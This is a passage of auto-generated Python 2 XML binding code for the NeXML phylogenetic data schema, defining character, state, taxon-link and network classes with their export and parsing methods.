PositiveInteger') self.validate_MSTokenLength(self.tokens) # validate type MSTokenLength value = find_attr_value_('states', node) if value is not None and 'states' not in already_processed: already_processed.append('states') self.states = value value = find_attr_value_('codon', node) if value is not None and 'codon' not in already_processed: already_processed.append('codon') try: self.codon = int(value) except ValueError, exp: raise_parse_error(node, 'Bad integer attribute: %s' % exp) if self.codon < 0: raise_parse_error(node, 'Invalid NonNegativeInteger') self.validate_CodonPosition(self.codon) # validate type CodonPosition super(AbstractChar, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(AbstractChar, self).buildChildren(child_, node, nodeName_, True) pass # end class AbstractChar class AbstractStates(IDTagged): """A container for a set of AbstractState elements.""" subclass = None superclass = IDTagged def __init__(self, about=None, meta=None, label=None, id=None, state=None, polymorphic_state_set=None, uncertain_state_set=None, set=None, valueOf_=None): super(AbstractStates, self).__init__(about, meta, label, id, ) if state is None: self.state = [] else: self.state = state if polymorphic_state_set is None: self.polymorphic_state_set = [] else: self.polymorphic_state_set = polymorphic_state_set if uncertain_state_set is None: self.uncertain_state_set = [] else: self.uncertain_state_set = uncertain_state_set if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if AbstractStates.subclass: return AbstractStates.subclass(*args_, **kwargs_) else: return AbstractStates(*args_, **kwargs_) factory = staticmethod(factory) def get_state(self): return self.state def set_state(self, state): self.state = state def add_state(self, value): self.state.append(value) def insert_state(self, index, value): self.state[index] = value def get_polymorphic_state_set(self): return self.polymorphic_state_set def set_polymorphic_state_set(self, polymorphic_state_set): self.polymorphic_state_set = polymorphic_state_set def add_polymorphic_state_set(self, value): self.polymorphic_state_set.append(value) def insert_polymorphic_state_set(self, index, value): self.polymorphic_state_set[index] = value def get_uncertain_state_set(self): return self.uncertain_state_set def set_uncertain_state_set(self, uncertain_state_set): self.uncertain_state_set = uncertain_state_set def add_uncertain_state_set(self, value): self.uncertain_state_set.append(value) def insert_uncertain_state_set(self, index, value): self.uncertain_state_set[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='AbstractStates', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractStates') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractStates"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractStates'): super(AbstractStates, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractStates') def exportChildren(self, outfile, level, namespace_='', name_='AbstractStates', fromsubclass_=False): super(AbstractStates, self).exportChildren(outfile, level, namespace_, name_, True) for state_ in self.get_state(): state_.export(outfile, level, namespace_, name_='state') for polymorphic_state_set_ in self.get_polymorphic_state_set(): polymorphic_state_set_.export(outfile, level, namespace_, name_='polymorphic_state_set') for uncertain_state_set_ in self.get_uncertain_state_set(): uncertain_state_set_.export(outfile, level, namespace_, name_='uncertain_state_set') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.state or self.polymorphic_state_set or self.uncertain_state_set or self.set or super(AbstractStates, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractStates'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AbstractStates, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractStates, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('state=[\n') level += 1 for state_ in self.state: showIndent(outfile, level) outfile.write('model_.AbstractState(\n') state_.exportLiteral(outfile, level, name_='AbstractState') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('polymorphic_state_set=[\n') level += 1 for polymorphic_state_set_ in self.polymorphic_state_set: showIndent(outfile, level) outfile.write('model_.AbstractPolymorphicStateSet(\n') polymorphic_state_set_.exportLiteral(outfile, level, name_='AbstractPolymorphicStateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('uncertain_state_set=[\n') level += 1 for uncertain_state_set_ in self.uncertain_state_set: showIndent(outfile, level) outfile.write('model_.AbstractUncertainStateSet(\n') uncertain_state_set_.exportLiteral(outfile, level, name_='AbstractUncertainStateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.StateSet(\n') set_.exportLiteral(outfile, level, name_='StateSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AbstractStates, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'state': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <state> element') self.state.append(obj_) elif nodeName_ == 'polymorphic_state_set': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <polymorphic_state_set> element') self.polymorphic_state_set.append(obj_) elif nodeName_ == 'uncertain_state_set': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <uncertain_state_set> element') self.uncertain_state_set.append(obj_) elif nodeName_ == 'set': obj_ = StateSet.factory() obj_.build(child_) self.set.append(obj_) super(AbstractStates, self).buildChildren(child_, node, nodeName_, True) # end class AbstractStates class AbstractState(IDTagged): """The AbstractState type is the super-class for a state definition. The element has a required symbol attribute that in restricted concrete subclasses must be of a sensible type such as a single IUPAC character. It may enclose zero or more AbstractMapping elements to resolve ambiguities.""" subclass = None superclass = IDTagged def __init__(self, about=None, meta=None, label=None, id=None, symbol=None, valueOf_=None): super(AbstractState, self).__init__(about, meta, label, id, ) self.symbol = _cast(None, symbol) pass def factory(*args_, **kwargs_): if AbstractState.subclass: return AbstractState.subclass(*args_, **kwargs_) else: return AbstractState(*args_, **kwargs_) factory = staticmethod(factory) def get_symbol(self): return self.symbol def set_symbol(self, symbol): self.symbol = symbol def export(self, outfile, level, namespace_='', name_='AbstractState', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractState') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractState"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractState'): super(AbstractState, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractState') if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') outfile.write(' symbol=%s' % (quote_attrib(self.symbol), )) def exportChildren(self, outfile, level, namespace_='', name_='AbstractState', fromsubclass_=False): super(AbstractState, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(AbstractState, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractState'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.symbol is not None and 'symbol' not in already_processed: already_processed.append('symbol') showIndent(outfile, level) outfile.write('symbol = %s,\n' % (self.symbol,)) super(AbstractState, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractState, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('symbol', node) if value is not None and 'symbol' not in already_processed: already_processed.append('symbol') self.symbol = value super(AbstractState, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(AbstractState, self).buildChildren(child_, node, nodeName_, True) pass # end class AbstractState class ContinuousChar(AbstractChar): """A concrete implementation of the char element, which requires only an id attribute.""" subclass = None superclass = AbstractChar def __init__(self, about=None, meta=None, label=None, id=None, tokens=None, states=None, codon=None, valueOf_=None): super(ContinuousChar, self).__init__(about, meta, label, id, tokens, states, codon, ) self.states = _cast(None, states) self.tokens = _cast(None, tokens) self.codon = _cast(None, codon) if meta is None: self.meta = [] else: self.meta = meta def factory(*args_, **kwargs_): if ContinuousChar.subclass: return ContinuousChar.subclass(*args_, **kwargs_) else: return ContinuousChar(*args_, **kwargs_) factory = staticmethod(factory) def get_meta(self): return self.meta def set_meta(self, meta): self.meta = meta def add_meta(self, value): self.meta.append(value) def insert_meta(self, index, value): self.meta[index] = value def get_states(self): return self.states def set_states(self, states): self.states = states def get_tokens(self): return self.tokens def set_tokens(self, tokens): self.tokens = tokens def validate_MSTokenLength(self, value): # Validate type MSTokenLength, a restriction on xs:positiveInteger. pass def get_codon(self): return self.codon def set_codon(self, codon): self.codon = codon def validate_CodonPosition(self, value): # Validate type CodonPosition, a restriction on xs:nonNegativeInteger. pass def export(self, outfile, level, namespace_='', name_='ContinuousChar', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='ContinuousChar') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='ContinuousChar'): super(ContinuousChar, self).exportAttributes(outfile, level, already_processed, namespace_, name_='ContinuousChar') if self.states is not None and 'states' not in already_processed: already_processed.append('states') outfile.write(' states=%s' % (self.gds_format_string(quote_attrib(self.states).encode(ExternalEncoding), input_name='states'), )) if self.tokens is not None and 'tokens' not in already_processed: already_processed.append('tokens') outfile.write(' tokens=%s' % (quote_attrib(self.tokens), )) if self.codon is not None and 'codon' not in already_processed: already_processed.append('codon') outfile.write(' codon=%s' % (quote_attrib(self.codon), )) def exportChildren(self, outfile, level, namespace_='', name_='ContinuousChar', fromsubclass_=False): for meta_ in self.get_meta(): meta_.export(outfile, level, namespace_, name_='meta') def hasContent_(self): if ( self.meta or super(ContinuousChar, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='ContinuousChar'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.states is not None and 'states' not in already_processed: already_processed.append('states') showIndent(outfile, level) outfile.write('states = "%s",\n' % (self.states,)) if self.tokens is not None and 'tokens' not in already_processed: already_processed.append('tokens') showIndent(outfile, level) outfile.write('tokens = %d,\n' % (self.tokens,)) if self.codon is not None and 'codon' not in already_processed: already_processed.append('codon') showIndent(outfile, level) outfile.write('codon = %d,\n' % (self.codon,)) super(ContinuousChar, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(ContinuousChar, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('meta=[\n') level += 1 for meta_ in self.meta: showIndent(outfile, level) outfile.write('model_.Meta(\n') meta_.exportLiteral(outfile, level, name_='Meta') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('states', node) if value is not None and 'states' not in already_processed: already_processed.append('states') self.states = value value = find_attr_value_('tokens', node) if value is not None and 'tokens' not in already_processed: already_processed.append('tokens') try: self.tokens = int(value) except ValueError, exp: raise_parse_error(node, 'Bad integer attribute: %s' % exp) if self.tokens <= 0: raise_parse_error(node, 'Invalid PositiveInteger') self.validate_MSTokenLength(self.tokens) # validate type MSTokenLength value = find_attr_value_('codon', node) if value is not None and 'codon' not in already_processed: already_processed.append('codon') try: self.codon = int(value) except ValueError, exp: raise_parse_error(node, 'Bad integer attribute: %s' % exp) if self.codon < 0: raise_parse_error(node, 'Invalid NonNegativeInteger') self.validate_CodonPosition(self.codon) # validate type CodonPosition super(ContinuousChar, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'meta': type_name_ = child_.attrib.get('{http://www.w3.org/2001/XMLSchema-instance}type') if type_name_ is None: type_name_ = child_.attrib.get('type') if type_name_ is not None: type_names_ = type_name_.split(':') if len(type_names_) == 1: type_name_ = type_names_[0] else: type_name_ = type_names_[1] class_ = globals()[type_name_] obj_ = class_.factory() obj_.build(child_) else: raise NotImplementedError( 'Class not implemented for <meta> element') self.meta.append(obj_) # end class ContinuousChar class AbstractSet(IDTagged): subclass = None superclass = IDTagged def __init__(self, about=None, meta=None, label=None, id=None, valueOf_=None): super(AbstractSet, self).__init__(about, meta, label, id, ) pass def factory(*args_, **kwargs_): if AbstractSet.subclass: return AbstractSet.subclass(*args_, **kwargs_) else: return AbstractSet(*args_, **kwargs_) factory = staticmethod(factory) def export(self, outfile, level, namespace_='', name_='AbstractSet', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractSet') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="AbstractSet"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='AbstractSet'): super(AbstractSet, self).exportAttributes(outfile, level, already_processed, namespace_, name_='AbstractSet') def exportChildren(self, outfile, level, namespace_='', name_='AbstractSet', fromsubclass_=False): super(AbstractSet, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(AbstractSet, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='AbstractSet'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(AbstractSet, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(AbstractSet, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(AbstractSet, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(AbstractSet, self).buildChildren(child_, node, nodeName_, True) pass # end class AbstractSet class TaxaLinked(IDTagged): """The TaxaLinked complexType is a super class for objects that that require an otus id reference.""" subclass = None superclass = IDTagged def __init__(self, about=None, meta=None, label=None, id=None, otus=None, valueOf_=None): super(TaxaLinked, self).__init__(about, meta, label, id, ) self.otus = _cast(None, otus) pass def factory(*args_, **kwargs_): if TaxaLinked.subclass: return TaxaLinked.subclass(*args_, **kwargs_) else: return TaxaLinked(*args_, **kwargs_) factory = staticmethod(factory) def get_otus(self): return self.otus def set_otus(self, otus): self.otus = otus def export(self, outfile, level, namespace_='', name_='TaxaLinked', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='TaxaLinked') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="TaxaLinked"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='TaxaLinked'): super(TaxaLinked, self).exportAttributes(outfile, level, already_processed, namespace_, name_='TaxaLinked') if self.otus is not None and 'otus' not in already_processed: already_processed.append('otus') outfile.write(' otus=%s' % (self.gds_format_string(quote_attrib(self.otus).encode(ExternalEncoding), input_name='otus'), )) def exportChildren(self, outfile, level, namespace_='', name_='TaxaLinked', fromsubclass_=False): super(TaxaLinked, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(TaxaLinked, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='TaxaLinked'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.otus is not None and 'otus' not in already_processed: already_processed.append('otus') showIndent(outfile, level) outfile.write('otus = "%s",\n' % (self.otus,)) super(TaxaLinked, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(TaxaLinked, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('otus', node) if value is not None and 'otus' not in already_processed: already_processed.append('otus') self.otus = value super(TaxaLinked, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(TaxaLinked, self).buildChildren(child_, node, nodeName_, True) pass # end class TaxaLinked class OptionalTaxonLinked(IDTagged): """The OptionalOTULinked complexType is a super class for objects that that optionally have an otu id reference.""" subclass = None superclass = IDTagged def __init__(self, about=None, meta=None, label=None, id=None, otu=None, valueOf_=None): super(OptionalTaxonLinked, self).__init__(about, meta, label, id, ) self.otu = _cast(None, otu) pass def factory(*args_, **kwargs_): if OptionalTaxonLinked.subclass: return OptionalTaxonLinked.subclass(*args_, **kwargs_) else: return OptionalTaxonLinked(*args_, **kwargs_) factory = staticmethod(factory) def get_otu(self): return self.otu def set_otu(self, otu): self.otu = otu def export(self, outfile, level, namespace_='', name_='OptionalTaxonLinked', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='OptionalTaxonLinked') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="OptionalTaxonLinked"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='OptionalTaxonLinked'): super(OptionalTaxonLinked, self).exportAttributes(outfile, level, already_processed, namespace_, name_='OptionalTaxonLinked') if self.otu is not None and 'otu' not in already_processed: already_processed.append('otu') outfile.write(' otu=%s' % (self.gds_format_string(quote_attrib(self.otu).encode(ExternalEncoding), input_name='otu'), )) def exportChildren(self, outfile, level, namespace_='', name_='OptionalTaxonLinked', fromsubclass_=False): super(OptionalTaxonLinked, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(OptionalTaxonLinked, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='OptionalTaxonLinked'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.otu is not None and 'otu' not in already_processed: already_processed.append('otu') showIndent(outfile, level) outfile.write('otu = "%s",\n' % (self.otu,)) super(OptionalTaxonLinked, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(OptionalTaxonLinked, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('otu', node) if value is not None and 'otu' not in already_processed: already_processed.append('otu') self.otu = value super(OptionalTaxonLinked, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(OptionalTaxonLinked, self).buildChildren(child_, node, nodeName_, True) pass # end class OptionalTaxonLinked class TaxonLinked(IDTagged): """The TaxonLinked complexType is a super class for objects that require a taxon id reference.""" subclass = None superclass = IDTagged def __init__(self, about=None, meta=None, label=None, id=None, otu=None, valueOf_=None): super(TaxonLinked, self).__init__(about, meta, label, id, ) self.otu = _cast(None, otu) pass def factory(*args_, **kwargs_): if TaxonLinked.subclass: return TaxonLinked.subclass(*args_, **kwargs_) else: return TaxonLinked(*args_, **kwargs_) factory = staticmethod(factory) def get_otu(self): return self.otu def set_otu(self, otu): self.otu = otu def export(self, outfile, level, namespace_='', name_='TaxonLinked', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='TaxonLinked') outfile.write(' xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"') if 'xsi:type' not in already_processed: outfile.write(' xsi:type="TaxonLinked"') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='TaxonLinked'): super(TaxonLinked, self).exportAttributes(outfile, level, already_processed, namespace_, name_='TaxonLinked') if self.otu is not None and 'otu' not in already_processed: already_processed.append('otu') outfile.write(' otu=%s' % (self.gds_format_string(quote_attrib(self.otu).encode(ExternalEncoding), input_name='otu'), )) def exportChildren(self, outfile, level, namespace_='', name_='TaxonLinked', fromsubclass_=False): super(TaxonLinked, self).exportChildren(outfile, level, namespace_, name_, True) def hasContent_(self): if ( super(TaxonLinked, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='TaxonLinked'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): if self.otu is not None and 'otu' not in already_processed: already_processed.append('otu') showIndent(outfile, level) outfile.write('otu = "%s",\n' % (self.otu,)) super(TaxonLinked, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(TaxonLinked, self).exportLiteralChildren(outfile, level, name_) def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): value = find_attr_value_('otu', node) if value is not None and 'otu' not in already_processed: already_processed.append('otu') self.otu = value super(TaxonLinked, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): super(TaxonLinked, self).buildChildren(child_, node, nodeName_, True) pass # end class TaxonLinked class IntNetwork(AbstractNetwork): """A concrete network implementation, with integer edge lengths.""" subclass = None superclass = AbstractNetwork def __init__(self, about=None, meta=None, label=None, id=None, node=None, edge=None, set=None, valueOf_=None): super(IntNetwork, self).__init__(about, meta, label, id, node, edge, set, ) if node is None: self.node = [] else: self.node = node if edge is None: self.edge = [] else: self.edge = edge if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if IntNetwork.subclass: return IntNetwork.subclass(*args_, **kwargs_) else: return IntNetwork(*args_, **kwargs_) factory = staticmethod(factory) def get_node(self): return self.node def set_node(self, node): self.node = node def add_node(self, value): self.node.append(value) def insert_node(self, index, value): self.node[index] = value def get_edge(self): return self.edge def set_edge(self, edge): self.edge = edge def add_edge(self, value): self.edge.append(value) def insert_edge(self, index, value): self.edge[index] = value def get_set(self): return self.set def set_set(self, set): self.set = set def add_set(self, value): self.set.append(value) def insert_set(self, index, value): self.set[index] = value def export(self, outfile, level, namespace_='', name_='IntNetwork', namespacedef_=''): showIndent(outfile, level) outfile.write('<%s%s%s' % (namespace_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) already_processed = [] self.exportAttributes(outfile, level, already_processed, namespace_, name_='IntNetwork') if self.hasContent_(): outfile.write('>\n') self.exportChildren(outfile, level + 1, namespace_, name_) showIndent(outfile, level) outfile.write('</%s%s>\n' % (namespace_, name_)) else: outfile.write('/>\n') def exportAttributes(self, outfile, level, already_processed, namespace_='', name_='IntNetwork'): super(IntNetwork, self).exportAttributes(outfile, level, already_processed, namespace_, name_='IntNetwork') def exportChildren(self, outfile, level, namespace_='', name_='IntNetwork', fromsubclass_=False): for node_ in self.node: node_.export(outfile, level, namespace_, name_='node') for edge_ in self.edge: edge_.export(outfile, level, namespace_, name_='edge') for set_ in self.set: set_.export(outfile, level, namespace_, name_='set') def hasContent_(self): if ( self.node or self.edge or self.set or super(IntNetwork, self).hasContent_() ): return True else: return False def exportLiteral(self, outfile, level, name_='IntNetwork'): level += 1 self.exportLiteralAttributes(outfile, level, [], name_) if self.hasContent_(): self.exportLiteralChildren(outfile, level, name_) def exportLiteralAttributes(self, outfile, level, already_processed, name_): super(IntNetwork, self).exportLiteralAttributes(outfile, level, already_processed, name_) def exportLiteralChildren(self, outfile, level, name_): super(IntNetwork, self).exportLiteralChildren(outfile, level, name_) showIndent(outfile, level) outfile.write('node=[\n') level += 1 for node_ in self.node: showIndent(outfile, level) outfile.write('model_.NetworkNode(\n') node_.exportLiteral(outfile, level, name_='NetworkNode') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('edge=[\n') level += 1 for edge_ in self.edge: showIndent(outfile, level) outfile.write('model_.NetworkIntEdge(\n') edge_.exportLiteral(outfile, level, name_='NetworkIntEdge') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') showIndent(outfile, level) outfile.write('set=[\n') level += 1 for set_ in self.set: showIndent(outfile, level) outfile.write('model_.NodeAndRootEdgeAndEdgeSet(\n') set_.exportLiteral(outfile, level, name_='NodeAndRootEdgeAndEdgeSet') showIndent(outfile, level) outfile.write('),\n') level -= 1 showIndent(outfile, level) outfile.write('],\n') def build(self, node): self.buildAttributes(node, node.attrib, []) for child in node: nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] self.buildChildren(child, node, nodeName_) def buildAttributes(self, node, attrs, already_processed): super(IntNetwork, self).buildAttributes(node, attrs, already_processed) def buildChildren(self, child_, node, nodeName_, fromsubclass_=False): if nodeName_ == 'node': obj_ = NetworkNode.factory() obj_.build(child_) self.node.append(obj_) elif nodeName_ == 'edge': obj_ = NetworkIntEdge.factory() obj_.build(child_) self.edge.append(obj_) elif nodeName_ == 'set': obj_ = NodeAndRootEdgeAndEdgeSet.factory() obj_.build(child_) self.set.append(obj_) # end class IntNetwork class FloatNetwork(AbstractNetwork): """A concrete network implementation, with floating point edge lengths.""" subclass = None superclass = AbstractNetwork def __init__(self, about=None, meta=None, label=None, id=None, node=None, edge=None, set=None, valueOf_=None): super(FloatNetwork, self).__init__(about, meta, label, id, node, edge, set, ) if node is None: self.node = [] else: self.node = node if edge is None: self.edge = [] else: self.edge = edge if set is None: self.set = [] else: self.set = set def factory(*args_, **kwargs_): if FloatNetwork.subclass: return FloatNetwork.subclass(*args_, **kwargs_) else: return FloatNetwork(*args_, **kwargs_) factory = 